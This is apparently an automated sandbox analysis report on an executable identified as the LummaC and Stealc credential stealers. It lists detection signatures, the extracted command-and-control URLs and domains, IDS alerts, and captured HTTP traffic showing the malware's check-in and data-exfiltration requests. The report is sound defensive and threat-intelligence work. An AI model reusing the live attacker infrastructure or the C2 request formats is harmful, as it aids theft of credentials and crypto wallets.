Edit tour

Windows Analysis Report
NE4jxHLxXJ.exe

Overview

General Information

Sample name:	NE4jxHLxXJ.exe renamed because original name is a hash value
Original sample name:	1b0c09be5351f6e71f287bf2833228f6.exe
Analysis ID:	1579718
MD5:	1b0c09be5351f6e71f287bf2833228f6
SHA1:	382fdfebb4f397874c44713273ebc068167f629b
SHA256:	8fdd31b8824ba67f540499cd9aa56963ecaba5e807f7c545f13704a6c6258d18
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

NE4jxHLxXJ.exe (PID: 7580 cmdline: "C:\Users\user\Desktop\NE4jxHLxXJ.exe" MD5: 1B0C09BE5351F6E71F287BF2833228F6)

7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe (PID: 7996 cmdline: "C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe" MD5: 97B29CE33CCFE8A2B642BD236A0DD337)

0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe (PID: 8156 cmdline: "C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe" MD5: 880F67C30D6C2335273B27DF0004F500)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["manyrestro.lat", "curverpluch.lat", "tentabatte.lat", "talkynicer.lat", "observerfry.lat", "shapestickyr.lat", "bashfulacid.lat", "wordyfindy.lat", "slipperyloo.lat"], "Build id": "RzDu--G"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.1814662803.00000000010BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.1812798968.0000000000B21000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000003.1772091495.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1569315856.000000000077A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: NE4jxHLxXJ.exe PID: 7580	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: NE4jxHLxXJ.exe PID: 7580	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: NE4jxHLxXJ.exe PID: 7580	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe PID: 8156	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe PID: 8156	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 4 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:03:51.521935+0100	2028371	3	Unknown Traffic	192.168.2.8	49705	172.67.199.72	443	TCP
2024-12-23T08:03:53.695131+0100	2028371	3	Unknown Traffic	192.168.2.8	49706	172.67.199.72	443	TCP
2024-12-23T08:03:56.235357+0100	2028371	3	Unknown Traffic	192.168.2.8	49707	172.67.199.72	443	TCP
2024-12-23T08:03:58.498365+0100	2028371	3	Unknown Traffic	192.168.2.8	49708	172.67.199.72	443	TCP
2024-12-23T08:04:00.893990+0100	2028371	3	Unknown Traffic	192.168.2.8	49709	172.67.199.72	443	TCP
2024-12-23T08:04:03.594851+0100	2028371	3	Unknown Traffic	192.168.2.8	49710	172.67.199.72	443	TCP
2024-12-23T08:04:06.149641+0100	2028371	3	Unknown Traffic	192.168.2.8	49713	172.67.199.72	443	TCP
2024-12-23T08:04:09.695409+0100	2028371	3	Unknown Traffic	192.168.2.8	49715	172.67.199.72	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:03:52.468201+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49705	172.67.199.72	443	TCP
2024-12-23T08:03:54.465058+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49706	172.67.199.72	443	TCP
2024-12-23T08:04:10.464747+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49715	172.67.199.72	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:03:52.468201+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49705	172.67.199.72	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:03:54.465058+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49706	172.67.199.72	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:04:11.929823+0100	2019714	2	Potentially Bad Traffic	192.168.2.8	49716	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:04:04.363689+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49710	172.67.199.72	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:04:26.322895+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49717	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: NE4jxHLxXJ.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe

Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: NE4jxHLxXJ.exe.7580.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["manyrestro.lat", "curverpluch.lat", "tentabatte.lat", "talkynicer.lat", "observerfry.lat", "shapestickyr.lat", "bashfulacid.lat", "wordyfindy.lat", "slipperyloo.lat"], "Build id": "RzDu--G"}
Source: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe.8156.4.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Multi AV Scanner detection for submitted file

Source: NE4jxHLxXJ.exe	Virustotal: Detection: 54%			Perma Link
Source: NE4jxHLxXJ.exe	ReversingLabs: Detection: 52%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: NE4jxHLxXJ.exe

Joe Sandbox ML: detected

Source: NE4jxHLxXJ.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.8:49715 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe, 00000003.00000002.1869668393.0000000000112000.00000040.00000001.01000000.00000006.sdmp

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe

Directory queried: number of queries: 1001

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49717 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49705 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49715 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49710 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49705 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49706 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49706 -> 172.67.199.72:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: manyrestro.lat
Source: Malware configuration extractor	URLs: curverpluch.lat
Source: Malware configuration extractor	URLs: tentabatte.lat
Source: Malware configuration extractor	URLs: talkynicer.lat
Source: Malware configuration extractor	URLs: observerfry.lat
Source: Malware configuration extractor	URLs: shapestickyr.lat
Source: Malware configuration extractor	URLs: bashfulacid.lat
Source: Malware configuration extractor	URLs: wordyfindy.lat
Source: Malware configuration extractor	URLs: slipperyloo.lat

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 07:04:11 GMTContent-Type: application/octet-streamContent-Length: 2845696Last-Modified: Mon, 23 Dec 2024 06:14:51 GMTConnection: keep-aliveETag: "6768ffdb-2b6c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 df 49 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 74 6e 72 78 65 63 62 76 00 e0 2a 00 00 a0 00 00 00 de 2a 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6e 61 79 6a 72 67 79 00 20 00 00 00 80 2b 00 00 04 00 00 00 46 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2b 00 00 22 00 00 00 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 07:04:16 GMTContent-Type: application/octet-streamContent-Length: 2907648Last-Modified: Mon, 23 Dec 2024 06:16:47 GMTConnection: keep-aliveETag: "6769004f-2c5e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 90 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 4f 00 00 04 00 00 a0 28 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 77 77 71 75 66 6e 73 6b 00 c0 2a 00 00 c0 24 00 00 bc 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 75 74 6a 71 6a 71 6e 00 10 00 00 00 80 4f 00 00 04 00 00 00 38 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4f 00 00 22 00 00 00 3c 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCBFIJEHDHCBGDGDGCBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 46 49 4a 45 48 44 48 43 42 47 44 47 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 43 43 31 32 46 39 30 34 35 44 46 32 36 39 31 39 34 33 35 34 33 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 46 49 4a 45 48 44 48 43 42 47 44 47 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 46 49 4a 45 48 44 48 43 42 47 44 47 44 47 43 42 2d 2d 0d 0a Data Ascii: ------AFCBFIJEHDHCBGDGDGCBContent-Disposition: form-data; name="hwid"ECC12F9045DF2691943543------AFCBFIJEHDHCBGDGDGCBContent-Disposition: form-data; name="build"stok------AFCBFIJEHDHCBGDGDGCB--

Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49708 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49705 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49706 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49707 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49713 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49710 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49709 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49715 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:49716 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=X59YH04IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12786Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=UME6PWQN4XCAUHUUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15057Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=VI7O0GFR4HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20194Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=S6R7DSVRSG20YUE07User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1248Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=8AXS95ZHH2DQ94EQ4JKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 552427Host: observerfry.lat
